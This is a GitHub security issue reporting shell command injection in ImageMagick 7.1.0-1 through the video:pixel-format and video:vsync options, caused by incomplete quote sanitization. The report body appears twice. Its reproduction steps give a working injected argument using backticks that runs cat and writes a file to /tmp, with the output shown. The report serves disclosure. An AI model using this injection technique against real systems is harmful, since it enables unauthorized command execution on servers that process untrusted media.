A vulnerability was found in ImageMagick. This security flaw causes a shell command injection vulnerability via video:vsync or video:pixel-format options in VIDEO encoding/decoding.
### ImageMagick version

7.1.0-1

### Operating system

Linux

### Operating system, version and so on

Any

### Description

In reviewing historical vulnerabilities in ImageMagick, I discovered a shell command injection vulnerability in encoding/decoding VIDEO files, which very much resembles CVE-2020-29599.

In commit cc4638d, extra options are supported in VIDEO decode delegate execution, and through later commits, ImageMagick supports user-defined options `video:vsync` and `video:pixel-format`, with their values concatenated into delegate command executed via `ExternalDelegateCommand`.

In `ExternalDelegateCommand`, the command string is sanitized with `SanitizeString`, scanned for illegal chars then `system()`. However, the illegal char set contains only `"&;<>|"`, not quot (see [link](https://github.com/ImageMagick/ImageMagick/blob/main/MagickCore/delegate.c#L443)). This is the same mistake as in sanitizing `-authenticate` parameter in PDF password support, but the common vulnerability in `ExternalDelegateCommand` did not get fixed.



### Steps to Reproduce

#### Trigger the vulnerability in VIDEO decoding

Given a normal video file, namely `test.mov`, the following demonstrates how command injection happens.

```bash
/data/home/fullwaywang/exp
➜ echo 'deadbeef' > test.txt

/data/home/fullwaywang/exp
➜ magick identify -define video:pixel-format='rgba"`cat test.txt > /tmp/leak.txt`"' test.mov >info.log

/data/home/fullwaywang/exp
➜ tail info.log
test.mov[891] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.320u 0:00.312
test.mov[892] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.310u 0:00.298
test.mov[893] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.290u 0:00.285
test.mov[894] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.280u 0:00.271
test.mov[895] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.260u 0:00.258
test.mov[896] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.250u 0:00.244
test.mov[897] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.230u 0:00.231
test.mov[898] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.220u 0:00.218
test.mov[899] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.210u 0:00.204
test.mov[900] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 445.5MiB 0.200u 0:00.191

/data/home/fullwaywang/exp
➜ cat /tmp/leak.txt
deadbeef
```

#### Trigger the vulnerability in VIDEO encoding

Given a normal image file, namely `smile.gif`, the following demonstrates how command injection happens.

```bash
/data/home/fullwaywang/exp
➜ magick convert -define video:pixel-format='rgba"`cat test.txt > /tmp/leak3.txt`"' smile.gif smile.mov

/data/home/fullwaywang/exp
➜ cat /tmp/leak3.txt
deadbeef
```

### Images

_No response_

### Reporter

fullwaywang
Shell command injection vulnerability via `video:vsync` or `video:pixel-format` options in VIDEO encoding/decoding.
This is a GitHub Issue
repo:ImageMagick
owner:ImageMagick
Title : Shell command injection vulnerability via `video:vsync` or `video:pixel-format` options in VIDEO encoding/decoding.
Issue date:

--- start body ---
### ImageMagick version

7.1.0-1

### Operating system

Linux

### Operating system, version and so on

Any

### Description

In reviewing historical vulnerabilities in ImageMagick, I discovered a shell command injection vulnerability in encoding/decoding VIDEO files, which very much resembles CVE-2020-29599.

In commit cc4638d, extra options are supported in VIDEO decode delegate execution, and through later commits, ImageMagick supports user-defined options `video:vsync` and `video:pixel-format`, with their values concatenated into delegate command executed via `ExternalDelegateCommand`.

In `ExternalDelegateCommand`, the command string is sanitized with `SanitizeString`, scanned for illegal chars then `system()`. However, the illegal char set contains only `"&;<>|"`, not quot (see [link](https://github.com/ImageMagick/ImageMagick/blob/main/MagickCore/delegate.c#L443)). This is the same mistake as in sanitizing `-authenticate` parameter in PDF password support, but the common vulnerability in `ExternalDelegateCommand` did not get fixed.



### Steps to Reproduce

#### Trigger the vulnerability in VIDEO decoding

Given a normal video file, namely `test.mov`, the following demonstrates how command injection happens.

```bash
/data/home/fullwaywang/exp
➜ echo 'deadbeef' > test.txt

/data/home/fullwaywang/exp
➜ magick identify -define video:pixel-format='rgba"`cat test.txt > /tmp/leak.txt`"' test.mov >info.log

/data/home/fullwaywang/exp
➜ tail info.log
test.mov[891] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.320u 0:00.312
test.mov[892] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.310u 0:00.298
test.mov[893] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.290u 0:00.285
test.mov[894] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.280u 0:00.271
test.mov[895] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.260u 0:00.258
test.mov[896] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.250u 0:00.244
test.mov[897] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.230u 0:00.231
test.mov[898] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.220u 0:00.218
test.mov[899] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 0.210u 0:00.204
test.mov[900] MOV 480x270 480x270+0+0 8-bit TrueColor sRGB 445.5MiB 0.200u 0:00.191

/data/home/fullwaywang/exp
➜ cat /tmp/leak.txt
deadbeef
```

#### Trigger the vulnerability in VIDEO encoding

Given a normal image file, namely `smile.gif`, the following demonstrates how command injection happens.

```bash
/data/home/fullwaywang/exp
➜ magick convert -define video:pixel-format='rgba"`cat test.txt > /tmp/leak3.txt`"' smile.gif smile.mov

/data/home/fullwaywang/exp
➜ cat /tmp/leak3.txt
deadbeef
```

### Images

_No response_

### Reporter

fullwaywang
--- end body ---

A shell command injection vulnerability exists in ImageMagick v7.1.0-1 when using the `video:vsync` or `video:pixel-format` options for encoding/decoding VIDEO files. The vulnerability arises because user-defined options are concatenated into a command string executed via `ExternalDelegateCommand`, which is only partially sanitized. The illegal character set used for sanitization does not include quotes, allowing an attacker to inject arbitrary shell commands. This can lead to unauthorized command execution, as demonstrated in the provided examples where the contents of a file can be leaked to a temporary file.